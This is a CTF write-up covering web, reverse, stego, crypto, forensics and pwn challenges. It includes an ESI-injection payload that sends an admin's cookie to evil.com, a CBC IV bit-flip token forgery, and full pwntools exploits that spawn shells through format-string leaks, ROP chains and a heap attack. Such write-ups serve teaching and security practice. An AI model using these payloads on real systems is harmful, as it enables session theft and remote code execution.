--- title: 'ICL School21 CTF' --- ICL School21 CTF Write-ups === ## Table of Contents [TOC] # WEB ## Strange service Here we have a form with url. Any external url will give us an error. But in the comments we see a hint of the l33t portfolio page. We can try `http://127.0.0.1:1337` or `http://127.0.0.1:31337`. The first one will give us an error, but the second one will lead to the portfolio page. We also see a hint of robots.txt in the comments. Trying `http://127.0.0.1:31337/robots.txt` and there we already see the path to the flag. We make a request to `http://127.0.0.1:31337/Fl1l444g.txtxt` and pick up the flag. ## Tetris ```php $token = '{"name": " ","passwd": " ","superuser":0}'; $name = substr($_POST["name"], 0, 30); $passwd = substr($_POST["passwd"], 0, 30); $gamma = "123456789012345678901234567890"; $processed_passwd = ""; for ($i = 0; $i < strlen($gamma); $i++){ $ind = $i % strlen($passwd); $new_symbol = chr((ord($passwd[$ind]) ^ ord($gamma[$i]))); $processed_passwd = $processed_passwd . ++$new_symbol; } for ($i = 0; $i < strlen($name); $i++) $token[$i + 10] = $name[$i]; for ($i = 0; $i < strlen($processed_passwd); $i++) $token[$i + 53] = $processed_passwd[$i]; $_SESSION['token'] = $token; ``` In source code we can see that **name** and **passwd** are truncated to 30 bytes length. Then **passwd** is xored with gamma and incremented. Both **username** and **passwd** are written into token after this operation. First idea is close brackets in **passwd** field and simply set **superuser** bit ```json {"name": "...","passwd": "...","superuser":1,"superuser":0} ``` does not work because json_decode will take last **superuser** parameter. Good for us, PHP has unusual increment operator and 'Z' will be incremented to 'AA'. That allows us to make passwd bigger than 30 symbols in length and overwrite **superuser** bit. This is an example of payload that will set **superuser** to 1: `%6b%68%69%6e%6f%6c%6d%62%63%6a%6b%68%69%6e%6f%14%1b%1a%4b%44%5e%56%42%40%47%52%46%1a%03%00` ## Ca(t)ching Looking at the http response headers - There is the following header: `X-Powered-By: Esigate`. Also, there are many caching using tips (page `Info`, name of the task). After some time of googling we understand that Esigate is the caching proxy, which stands in front of the main server, passing all traffic through itself. Moreover, it has some number of vulnerabilities, which are related to the ESI Injection (Edge Side Include Injection). [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) [https://www.youtube.com/watch?v=6t50uRAxFT8](https://www.youtube.com/watch?v=6t50uRAxFT8) [https://i.blackhat.com/us-18/Wed-August-8/us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking.pdf](https://i.blackhat.com/us-18/Wed-August-8/us-18-Dion_Marcil-Edge-Side-Include-Injection-Abusing-Caching-Servers-into-SSRF-and-Transparent-Session-Hijacking.pdf) So, we can inject any esi tag in the page and the caching proxy will include the corresponding data from cache (if it isn't in the cache, first Esigate gets it, includes in the page and then puts data in the cache). ESI has a tag `<esi:vars></esi:vars>` and variable `$(HTTP_HEADER{Cookie})`, which includes cookie from cache or HTTP headers (it could be exploited quite similar like with JS in Stored XSS, but allows to get HTTPOnly Cookie). Also, it could be solved with using `<esi:include></esi:include>` tag. Finally, we send to admin our message with some Name, Email and text: ```<img src="http://evil.com/?<esi:vars>$(HTTP_HEADER{Cookie})</esi:vars>" />``` Data goes to the database (stored XSS), admin checks it and loads image by the link with his cookies -> we get a flag. # Reverse ## Licensed Software It's a simple ELF compiled with gcc. Let's take a look at the main function: ![1](https://i.ibb.co/sQpNpqC/1.png) As you can see, the program requires to enter a login and a serial key. Then we have some function with arguments: the length of entered login, login and some other argument which will be used in the future to compare with the entered serial key. sub_C0B function: ![2](https://i.ibb.co/55KFp43/2.png) Here we see some other three functions and then 16 bytes to string with hexes convert. So, we can suppose that it's a hash generation. It is enough to see at sub_D93 function to understand what happens: ![3](https://i.ibb.co/3rF8M9Q/3.png) It generates 4 constants, we can google just a first one to understand that it's a md5 hash algorithm. BUT the third constant is changed. Based on this quick research we can write our own solver with implementation of md5 algorhitm with changed constant. ## Chains Binary file compares closest two bytes in flag file: ```C if (buff[1] - buff[0] != -57 || buff[2] - buff[1] != -2 || buff[3] - buff[2] != -7 || ... ) return 0 ``` and we know only single byte `buff[31] == 0xCE` If we analyze all byte comparisons, we find 4 independent chains that are not connected in bytes (no byte from one chain is compared with byte in another chain). If we know one byte in chain, all chain is determined. Since one byte is known, we can find first chain and see PNG magic bytes. That allows us to make assumption about file ending with IEND chunk and determine second chain. Third chain could be bruteforced (256 possible options) and one possible variant will contain readable text in comment chunk. Fourth chain is possible to bruteforce again and make list of potential images. One of it will give correct image with flag. Worth mentioning, not all 256 variants are possible, because byte only has 0-255 range. For example, if `buff[1] - buff[0] = 128`, then `buff[1]` has limits 128-255 and `buff[0]` has limits 0-127. That is, number of possible correct chains is much less than 256. ## Wheel 1. First of all, we need to check if any packers are present using Detect-It-Easy: 2. ![1](https://i.ibb.co/nf7hvLc/1.jpg) 3. Need to unpack from upx: ```upx -d wheel``` 4. We see, that program takes input and passes through some hashing functions: 5. ![2](https://i.ibb.co/JQwDdNN/2.jpg) 6. We understand that ```sha256_easy_hash_hex``` function is called at user input firstly. Then some strange string ```CTF{y0u_C4n_D0_b357_h45H1n6_FuNc710n}``` is initialized and ```sha256_easy_hash_hex``` called second time. 7. If we look in more detail, then we can understand that after the first call of the function, a false flag ```CTF{...}``` is added (```sVar1 + 0x40 <= uVar5```) to the previous output for the next call of the sha256 function. 8. Now we know our main schema: ```sha256_easy_hash_hex(sha256_easy_hash_hex(user_input)CTF{...})``` 9. Let's proceed with ```sha256_easy_hash_hex``` function. But wait... Do we need to investigate this function? Maybe this is an ordinary sha256, which is correctly implemented and all that remains for us is to bruteforce the flag? Let's use ```hashcat```: 10. On the fourth attempt ```hashcat -a 3 -m 20710 99aaae4854ab4496c0a62859978f3bd2e6014c4d3686e1133c35c6e1660e6819:CTF{y0u_C4n_D0_b357_h45H1n6_FuNc710n} CTF{?a?a?a?a}``` we get the flag: 11. ![3](https://i.ibb.co/QD1jmtP/3.jpg) ## FSDC 1 Looking at the decompiled code - see that there is a function `print_encrypted_flag_for_debugging`. Obviouslly, something interesting should be there. Go there and take an array. The program communicates with a server, establishing an encrypted connection by some algorithm based on the right shifted current time and encryption function with xors. Then it could send data to the server. Solver: ``` import time def decrypt(data, key, depth): key = [ord(i) for i in key] k = [] while len(k) < len(data): k += key for _ in range(depth): for i in range(len(data)): data[i] ^= k[i] data[i] -= 2 data[i] ^= k[i] data[i] -= 1 data[i] ^= k[i] return data k = int(time.time()) >> 20 flag = '' while 'CTF{' not in flag: for i in range(16): encrypted = [0x207, 0x1d0, 0x20a, 0x17d, 0x222, 0x123, 400, 0xcb, 0x113, 0x137, 0x59, 0xcb, 0x59, 0x1c0, 0x12f, 0x10f] key = str(((((((((k + i) << 1) + 1) << 2) + 3) << 2) + 3) << 3) + 7) try: flag = ''.join([chr(j) for j in decrypt(encrypted, key, 101)]) except Exception: continue k -= 1 print(flag) ``` Encryption algorithm: ``` #!/usr/bin/env python3 import time def encrypt(data, key, depth): key = [ord(i) for i in key] data = [ord(i) for i in data] k = [] while len(k) < len(data): k += key for _ in range(depth): for i in range(len(data)): data[i] ^= k[i] data[i] += 1 data[i] ^= k[i] data[i] += 2 data[i] ^= k[i] return data def decrypt(data, key, depth): key = [ord(i) for i in key] if data[0] != int: data = [ord(i) for i in data] k = [] while len(k) < len(data): k += key for _ in range(depth): for i in range(len(data)): data[i] ^= k[i] data[i] -= 2 data[i] ^= k[i] data[i] -= 1 data[i] ^= k[i] return data flag = "CTF{Re3ver53_en91ne}" key = "392959" depth = 101 flag = encrypt(flag, key, depth) print(' '.join(str(i) for i in flag)) print(''.join(chr(i) for i in decrypt('2\'0է', key, depth))) ``` ## FSDC 2 Zipper, which packs data using symbols replacement by numbers and cutting off the last bit from each resulting number. At the end of archive it adds md5 hash of the initial file, which allows to use it to restore file. So, we should use simple bruteforce and replacement by symbols. Solver: ``` import sys import hashlib alpha = {'a': 0, 'b': 1, 'c': 2, 'd': 3, 'e': 4, 'f': 5, 'g': 6, 'h': 7, 'i': 8, 'j': 9, 'k': 10, 'l': 11, 'm': 12, 'n': 13, 'o': 14, 'p': 15, 'q': 16, 'r': 17, 's': 18, 't': 19, 'u': 20, 'v': 21, 'w': 22, 'x': 23, 'y': 24, 'z': 25, 'A': 26, 'B': 27, 'C': 28, 'D': 29, 'E': 30, 'F': 31, 'G': 32, 'H': 33, 'I': 34, 'J': 35, 'K': 36, 'L': 37, 'M': 38, 'N': 39, 'O': 40, 'P': 41, 'Q': 42, 'R': 43, 'S': 44, 'T': 45, 'U': 46, 'V': 47, 'W': 48, 'X': 49, 'Y': 50, 'Z': 51, '0': 52, '1': 53, '2': 54, '3': 55, '4': 56, '5': 57, '6': 58, '7': 59, '8': 60, '9': 61, '{': 62, '}': 63} alpha_rev = {0: 'a', 1: 'b', 2: 'c', 3: 'd', 4: 'e', 5: 'f', 6: 'g', 7: 'h', 8: 'i', 9: 'j', 10: 'k', 11: 'l', 12: 'm', 13: 'n', 14: 'o', 15: 'p', 16: 'q', 17: 'r', 18: 's', 19: 't', 20: 'u', 21: 'v', 22: 'w', 23: 'x', 24: 'y', 25: 'z', 26: 'A', 27: 'B', 28: 'C', 29: 'D', 30: 'E', 31: 'F', 32: 'G', 33: 'H', 34: 'I', 35: 'J', 36: 'K', 37: 'L', 38: 'M', 39: 'N', 40: 'O', 41: 'P', 42: 'Q', 43: 'R', 44: 'S', 45: 'T', 46: 'U', 47: 'V', 48: 'W', 49: 'X', 50: 'Y', 51: 'Z', 52: '0', 53: '1', 54: '2', 55: '3', 56: '4', 57: '5', 58: '6', 59: '7', 60: '8', 61: '9', 62: '{', 63: '}'} flag_base = 'CTF' data = b'' with open(sys.argv[1], 'rb') as f: data = f.read() md5bytes = data[-16:] md5hash = ''.join([hex(i)[2:].zfill(2) for i in md5bytes]) data = ''.join([bin(i)[2:].zfill(8) for i in data[:-16]]) while data[-1] != '1': # because the last symbol should be '}', i.e. 63 number == 11111 in the packed data data = data[:-1] numbers = [] for i in range(0, len(data), 5): numbers.append(int(data[i:i+5], 2)) flag = '' numbers = numbers[len(flag_base)+1:-1] # because we know that it starts with 'flag{' and ends with '}' test = 0 while test < 2**len(numbers): t_numbers = [] for i in numbers: t_numbers.append(i) for i in range(len(t_numbers)): t_numbers[i] = t_numbers[i] | (((test >> (len(t_numbers) - i - 1)) & 1) << 5) flag = flag_base + '{' try: for i in t_numbers: flag += alpha_rev[i] except Exception: test += 1 continue flag += '}' if hashlib.md5(flag.encode()).hexdigest() == md5hash: print('Found!') print(flag) exit() break test += 1 print('Not found (\nthe last enumerated flag: ') print(flag) ``` ## Twitter follower 1. First of all, we understand that this is a real protected Win PE binary by VMProtect. As we can remember, nowadays there's a lot of news about VTIL library. 2. Let's dump process image with [VMPDump](https://github.com/0xnobody/vmpdump) 3. ![1](https://i.ibb.co/r4kXQTt/1.jpg) 4. Now we can open dump file with Ghidra: 4. ![2](https://i.ibb.co/qxB36MQ/2.jpg) 5. There's a lot of functions, but we can find ```XOR_1337_FLAG_NEXT``` - after that string we can suspicious calls after loading some address into ```RDX``` register: 6. ![3](https://i.ibb.co/Lr6F9ww/3.jpg) 7. If we sum up these big numbers (1402, 1389, etc...) and ```XOR_1337_FLAG_NEXT``` - we can understand that ```1402 = flag[i] ^ 1337 -> flag[i] = 'C'``` 9. Also we can find that some chars are duplicated, so we need to be very careful: 10. ![4](https://i.ibb.co/ZghDBKn/4.jpg) 11. After that we can get a flag: 10. ```CTF{3V3n_VMpr073c7_c0Uldn7_54V3_U5}``` # Stegano ## Chess2 There are no exact rules in this game. Goal is not to win, but analyze opponent's moves notation and see ascii symbols. For example, when opponent moves to 41 (row 4 column 1), it is letter 'A' in ascii. ## Usual news HTTP has many options to hide secrets. There is nothing interesting on website itself and data is hidden in headers. Response on any of three articles has unusual X-Positions header with base64 encoded data. It is a list of numbers: `12 17 39 63 66 110 133 134 156 157` This are positions of words in article. Last article about python gives you flag. ## Mountains First, let's take a look at the picture. You can notice some noise on the left of the image. If we'll try to compare pixels (with python, for example), there will be seen differences between alpha components of pixels on the left side of image (with index x=0). Every first pixel out of 4 has 0 or 1 value in the alpha channel. We should try to connect them and translate to chars, then get a flag. ``` from PIL import Image import sys image = Image.open(sys.argv[1]).convert('RGBA') pixels = image.load() x0_alpha = [] for i in range(image.size[1]): # take alpha only from pixels with x = 0 temp = list(pixels[0, i]) x0_alpha.append(temp[3]) final = [] for i in x0_alpha: # remove all 255 values if i != 255: final.append(i) # now we can restore a flag flag = '' for i in range(0, len(final), 8): flag += chr(int(''.join([str(i) for i in final[i:i+8]]), 2)) print(flag) ``` # Crypto ## InsecureToken Application use AES in CBC mode. Since we control IV, we can modify first block in plaintext without changing other blocks. ![CBC decrypt](https://upload.wikimedia.org/wikipedia/commons/thumb/2/2a/CBC_decryption.svg/1200px-CBC_decryption.svg.png) ```python from base64 import b64decode, b64encode import json # User: `dmin # Password: any # take token from user token = input("Session token: ") token = b64decode(token) # parse token json_result = json.loads(token) iv = b64decode(json_result['iv']) ciphertext = json_result['ciphertext'] # flip exact bit of iv iv = iv[:1] + bytes([iv[1] ^ 0b1]) + iv[2:] # change user from `dmin to admin iv = iv[:5] + bytes([iv[5] ^ 0b1]) + iv[6:] # change can_read_flag from 0 to 1 iv = b64encode(iv).decode() # encode back and print json_result = json.dumps({'iv': iv, 'ciphertext': ciphertext}) token = b64encode(json_result.encode()).decode() print(token) ``` ## Broken primes 1. First of all, we can try to factorize n using various algorithms. For example, we can use Lenstra elliptic-curve factorization (it tooks around 10 minutes): 2. ![1](https://i.ibb.co/27Jv8qR/1.jpg) 3. Then we can decrypt multi-prime RSA: ```b'CTF{Br0k3n_L1f3_bR0k3n_m1Nd_Br0k3n_Pr1m35}'``` 4. ```solve.py```: ```python from Crypto.Util import number import os import gmpy2 import codecs n = 1 primes = [3527888809, 3888229799, 3173964631, 2412414481, 3599626999, 3513398657, 2636415289, 3731390141, 2960277851, 2622620639, 2383514239, 2345201461, 3579454877, 2869942781, 2334826171, 3666346507, 3013785469, 3713546381, 4293648277, 2705867627, 2457403343, 2811899863, 2977669183, 4138372253, 2363886089, 4242749759, 2954366999, 2376546899, 4069155721, 3465422573, 2958516791, 2173695521, 3863543741, 2857786433, 3995059121, 2393808961, 2645223359, 3011018827, 2454240961, 2589273763, 2530888357, 2210323217, 4291991923, 2634225943, 2199461023, 2432231981, 2283885677, 3279126421, 2702705839, 2868310541, 4165072447, 2658934891, 2571494309, 3958598407, 3613719407, 2368750507, 2530520269, 2299477871, 2850458623, 3921029803, 3815791361, 3789429643, 2165924317, 3088701677, 4035405091, 2207409961, 2376020131, 2709575347, 3265289177, 4273323569, 4069855211, 3907783361, 2314960877, 4014134717, 3558069161, 2926186909, 4120681283, 3198747203, 3756281603, 3899418167, 4132705069, 3579218611, 2277613889, 3222651527, 3044795969, 2432101117, 3260722117, 3717790009, 2777474621, 3332824861, 3356233667, 3478612057, 3521305391, 3878970643, 4273261231, 3487685567, 2888841091, 2876699743, 2893150331, 2473727813, 3317826331, 3779581243, 3545755201, 2649717179, 2765104283, 2345510693, 2894482333, 2726475299, 2429808023, 3203256109, 3887171851, 3582592609, 2839719781, 3285288527, 4130293537, 3899941343, 2861320249, 3177997367, 3246554387, 2773936999, 3197694767, 3078348421, 3673425317, 3629873101, 2313176419, 2158227629, 3307666723, 3468416929, 2494388983, 3112797953, 4248059351, 2852315383, 3921678617, 3284996017, 2271885391, 3114727813, 2964727921, 2603770633, 2523698963, 4065696979, 2857240411, 2952717011, 2518820989, 2184658913, 2629032377, 2787770467, 2969675299, 4091705971, 4257821839, 3526252937, 3614611271, 2422313129, 2333131301, 2424306271, 2532963799, 3247442239, 3366910993, 2983949219, 4218072601, 4105409377, 3100951871, 2608711669, 3113169907, 4186872611, 2433850877, 3629633149, 2695263583, 2213044499, 3336552511, 2416602091, 2487694003, 3025574551, 4161917791, 2822234971, 2223128617, 3768461483, 3587033377, 3946473493, 3822025189, 3389729731, 2542106243, 3244174873, 3217469687, 2660897081, 2990555039, 4224646243, 4238814211, 3862562657, 2853680507, 3000269639, 3045619667, 2568761803, 4251570599, 2203756151, 2804333159, 3664220587, 2233355381, 2968859629, 3215472823, 3010467479, 4144760849, 3915402487, 2881915219, 3535618403, 2512790837, 3858975383, 4236992813, 3437593403, 4011713701, 3818825369, 2922157549, 2873157031, 3735933731, 3864862423, 3411504611, 3800256497, 2599487257, 3354217301, 3221124187, 2254005023, 4222773671, 3706661701, 3977242603, 3733515931, 3109538203, 3170984863, 2900665883, 2238259601, 3625811171, 3019326187, 2203973417, 3545108443, 3387710737, 3805802251, 2327830199, 4061217221, 3000831299, 4214044297, 3311341591, 2614786021, 4287544441, 2856842431, 2552888309, 3642160633, 3963390551, 3232817557, 3693867119, 3914917889, 3246887947, 3781292761, 2659555907, 4167108293, 4123064399, 4013716999, 4234990517, 4165559609] for i in primes: n*=i c = 16223853562143279642434187991943678795214860200765120315367348430513534519915730020468749447856111214357239301136669775232686534503596831073688124834451069272860527592292782321342148973846836128234214577901714337203947612438845810816578294607243985523470071629242096840636101708942104426061399206183744088386474765234409954200106650481788377240017887937094530777540357045031425055945102761267283164575765980058673915782934619185256500628074096090018281026486564918561398383745773880323931631962843072817517081911883591349744634494768834589276157300584340429567434304860160044860262324796735822480014517540948114496066878785489881485206542535380089102037633929633745548678932553066580311617547460256938778362683624309290070350959985697125498449841252172363873087289139202898373576732302121005115805249379906589605361852665236690277833817559908525615744351103276091891597899031306387341470618387509110725743075434827868761269059990210969128281509999996868734684523850859331949125888849334348538307397686621443329777109620880011245473418849721854515528071916201147220019703937340702603251393883573851441725588732585057685715289358969676234507175188189761264784541022727764652953608339357545135161905578657022454441932855153892348996662406196300738697268721055331711383022218120412264670463088810782637470543433541339551669592772823334239622104885829473168495714686871851319312356721556172710601457373326045148517308312009596767473093214463321923228744964998531403180941602904994399883969058570563246669780223196889512846027779514146946978856447036938127476110629234301486355826976925213489650289276822046923451982752725071259766557226470221641147740974216418860226828878332221998137688911547628276686318363390811874151824572128905549935427141522835619417313946090382262461616201549016489061627819599606237830126149948144800780111009589974454757379856214583442239612622658055711750199624290522052997583597755818588408933451342213432170796987893076612887158882732679306346012256130051739969951210409139233841526733846835063902027301218702163130650822827658933080745921527861775103705558692040935384123550074546075149753225118559130569461181910656413047904330500735508337303786263829581496456654304600679545282526473189120841953290615409836229399951443577212839489290580374558875325334530347829848315860157431108957446680754002286778499041287944029796299250211456903312288756870448244587161862066078615336874773194521852802326633697782938 e = 65537 phi = 1 for x in primes: phi *= (x - 1) d = gmpy2.invert(e, phi) m = pow(c, d, n) print(codecs.decode(('%x'%m),'hex_codec')) ``` # Forensics ## Blood and Wine 1. With ```bulk_extractor``` we can find AES master key, by bruteforcing all possible combinations of key parts. After that, we can open encrypted partition: ```echo "e0 c3 b7 b6 dc 52 e0 19 d6 32 79 0f 4d a9 3b 75 b7 89 5c 52 7d d6 83 31 7e d6 d6 d4 00 85 ca 87 bd 89 5e a4 a9 fa d7 53 eb 7d c3 c6 66 63 32 a2 dd 10 7c 42 00 71 dd c8 e4 cf f4 4c 0c 8a d5 4b" > key.txt``` ```xxd -r -p key.txt master_key.bin; cryptsetup --master-key-file master_key.bin open disk.img secret_data``` ```mount /dev/mapper/secret_data /media``` 2. Then we find some ```*.wav``` files in ```/home/hacker/album``` dir. Let's check spectrogram of each. In 21 track we found hidden info: 3. ![1](https://i.ibb.co/cwRJhmk/1.jpg) 4. We found password in base64 - ```a_little_push```, and trying a lot of methods. But we found in memory dump something about steghide. Let's proceed with steghide: 5. ```steghide extract -sf cover.jpg; cat not_a_flag.txt``` 6. ```1llu510n_0f_ch01c3``` - another text, but if we remain Mr. Robot series, Elliot hides data with DeepSound. Task name is also pointing in some Wine bottle - hidden directory .games 7. We can extract flag from ```03. 3.0_3-black0ut.dmf.wav``` file with DeepSound: 8. ![2](https://i.ibb.co/6tjZyBS/2.jpg) 9. ```CTF{15_7H15_bl00D_R34l_0r_Ju57_4_W1N3_h1dd3n_d1r3C70ry}``` # Binary exploitation ## Can you login? ```python= from pwn import * if len(sys.argv) != 3: print('Usage:', sys.argv[0], 'ip port') r = process('../task/vuln') else: r = remote(sys.argv[1], sys.argv[2]) r.recvuntil(': ') r.send(b'|%24$s|ENDSTR |' + p64(0x600e60) + b'\n') data = r.recvuntil("ENDSTR").split(b'|') passw = data[1] print('[+] Password recived:', passw) r.recvuntil(': ') r.send(passw + b'\n') print('[+] FLAG:',r.recv(1024)) ``` ## Again Baby ROP 1. First of all, let's open vuln file with Ghidra: 2. ![1](https://i.ibb.co/jDK5r7D/1.jpg) 3. We can find vulnerable ```vuln``` function. Let's analyze it. Firstly, program get user input and print it via ```printf()```. But without format specifier, so we can leak addresses. Then simple ```fgets```function gets 64 bytes from input. Now we need to build a plan of exploitation. 4. Our program have all security features enabled: 5. ![2](https://i.ibb.co/YhQzb4Z/2.jpg) 6. We need to get ```libc.so.6``` file - we can use updated ```archlinux``` Docker image for that. 7. Our plan is (one of possible): leak PIE and Canary, then return to ```vuln``` function. After that get LIBC address and finally pop the shell. 8. ```exploit.py```: ```python= from pwn import * import sys if len(sys.argv) != 3: print('Usage:', sys.argv[0], 'ip port') sys.exit() io = remote(str(sys.argv[1]),sys.argv[2]) e = ELF('vuln') libc = ELF('libc.so.6', checksec=False) io.sendline('%9$lx_%11$lx') # pie + stack cookie io.recvline() leak = io.recvline() canary = int((leak.strip().split(b'_')[0]), 16) pie = int((leak.strip().split(b'_')[1]),16)-0x1265 log.info("PIE: %s" % hex(pie)) log.info("COOKIE: %s" % hex(canary)) payload = flat( "Z"*24, canary, "Z"*8, pie + e.sym['vuln'], # return back to get libc address endianness = 'little', word_size = 64, sign = False) io.sendline(payload) io.sendline('%3$lx') # libc io.recvline() leak = io.recvline() libc.address = int(leak.strip(), 16) - 0xf0f67 log.info("LIBC: %s" % hex(libc.address)) payload = flat( "Z"*24, canary, "Z"*8, pie + 0x12d3, # pop rdi next(libc.search(b'/bin/sh')), libc.sym['system'], endianness = 'little', word_size = 64, sign = False) io.sendline(payload) io.interactive() ``` ## Simple rop? ```python= from pwn import * import sys syscall = 0x00000000004006b6 pop_rdi = 0x00000000004007f3 pop_rsi_r15 = 0x00000000004007f1 pop_r14_r15 = 0x00000000004007f0 mov_rdx_r15_xchg_rcx_r14 = 0x00000000004006bb bin_sh = 0x400814 if len(sys.argv) != 3: print('Usage:', sys.argv[0], 'ip port') sys.exit() r = remote(sys.argv[1], sys.argv[2]) p = b'' p += b'\x00' p += b'A'*255 p += b'B'*8 p += p64(pop_r14_r15) p += p64(0) # r14 p += p64(0) # r15 p += p64(mov_rdx_r15_xchg_rcx_r14) p += b'JUNKJUNK' # pop rbp p += p64(pop_rsi_r15) p += p64(bin_sh) p += b'JUNKJUNK' p += p64(pop_rdi) p += p64(0x3b) p += p64(syscall) r.send(p + b'\n') r.interactive() ``` ## Brand new shell ```python= from pwn import * vuln_func = 0x0000000000400777 pop_rdi = 0x0000000000400923 pop_r14_r15 = 0x0000000000400920 puts_plt = 0x400610 puts_got = 0x600cf8 if len(sys.argv) == 2: r = process(sys.argv[1]) f = ELF(sys.argv[1]) libc = f.libc elif len(sys.argv) == 3: r = remote(sys.argv[1], sys.argv[2]) libc = ELF('../task/libc.so.6') else: print('Usage:', sys.argv[0], 'ip port') print('OR') print('Usage:', sys.argv[0], '/path/to/file') sys.exit(0) r.recvuntil('SHELL#> ') r.sendline('A'*136) r.recvuntil('A\r\n') cookie = u64(b'\x00' + r.recv(7)) print('[+] COOKIE:', hex(cookie)) p = b'' p += b'A'*135 p += b'\x00' p += p64(cookie) p += b'BBBBBBBB' p += p64(pop_rdi) p += p64(puts_got) p += p64(puts_plt) p += p64(vuln_func) r.recvuntil('SHELL#> ') r.send(p + b'\n') r.recvuntil('SHELL#> ') r.sendline('exit') r.recvuntil('Goodbye!\r\n') puts_leak = u64(r.recv(6).ljust(8, b'\x00')) libc_base = puts_leak - libc.symbols['puts'] print('[+] PUTS LEAK:', hex(puts_leak)) print('[+] LIBC BASE:', hex(libc_base)) p = b'' p += b'A'*135 p += b'\x00' p += p64(cookie) p += b'BBBBBBBB' p += p64(pop_rdi) p += p64(libc_base + next(libc.search(b'/bin/sh\0'))) p += p64(pop_r14_r15) # align rsp p += b'JUNKJUNK'*2 p += p64(libc_base + libc.symbols['system']) r.recvuntil('SHELL#> ') r.send(p + b'\n') r.recvuntil('SHELL#> ') r.sendline('exit') r.interactive() ``` ## House of ... what? ```python= from pwn import * import sys def create(ind, name, typ, size): r.recvuntil('#> ') r.sendline('1') r.recvuntil(': ') r.sendline(ind) r.recvuntil(': ') r.sendline(name) r.recvuntil(': ') r.sendline(typ) r.recvuntil(': ') r.sendline(size) def print_fig(ind): r.recvuntil('#> ') r.sendline('2') #r.recvuntil(': ') r.sendline(ind) data = r.recvuntil('[!!!]') return data def delete(ind): r.recvuntil('#> ') r.sendline('3') r.recvuntil(': ') r.sendline(ind) def create_debug(ind, name, typ, size, payload): r.recvuntil('#> ') r.sendline('1') r.recvuntil(': ') r.sendline(ind) r.recvuntil(': ') r.sendline(name) r.recvuntil(': ') r.sendline('31337') r.recvuntil(': ') r.sendline(size) r.recvuntil(' | ') heap = r.recv(14) r.recvuntil(' | ') pie = r.recv(14) for i in range(int(size)): r.recvuntil(': ') r.sendline(payload) return (heap, pie) onegadget = 0x10a45c if len(sys.argv) == 3: r = remote(sys.argv[1], int(sys.argv[2])) elif len(sys.argv) == 2: r = process(sys.argv[1]) else: print('Usage:', sys.argv[0], 'ip port') print('OR\nUsage:', sys.argv[0], 'file') create('0', 'A'*126, '4', '20') create('1', 'B'*126, '4', '20') delete('0') delete('1') libc_leak = u64(print_fig('0')[:-7].ljust(8, b'\x00')) libc_base = libc_leak - 0x3ebca0 log.success('LIBC: ' + hex(libc_leak)) log.success('LIBC BASE:' + hex(libc_base)) heap = int(create_debug('2', 'C'*126, '31337', '5', 'DDDDDDDDDDD')[1], 16) log.success('HEAP: ' + hex(heap)) delete('2'), delete('2') create('2', p64(heap+1296+144), '4', '5') create('2', 'BBBBBBBBBBBB', '4', '5') create('3', p64(libc_base + onegadget), '4', '2') r.recvuntil('#> ') r.sendline('2') r.sendline('2') log.success('SHELL SPAWNED') r.interactive() ```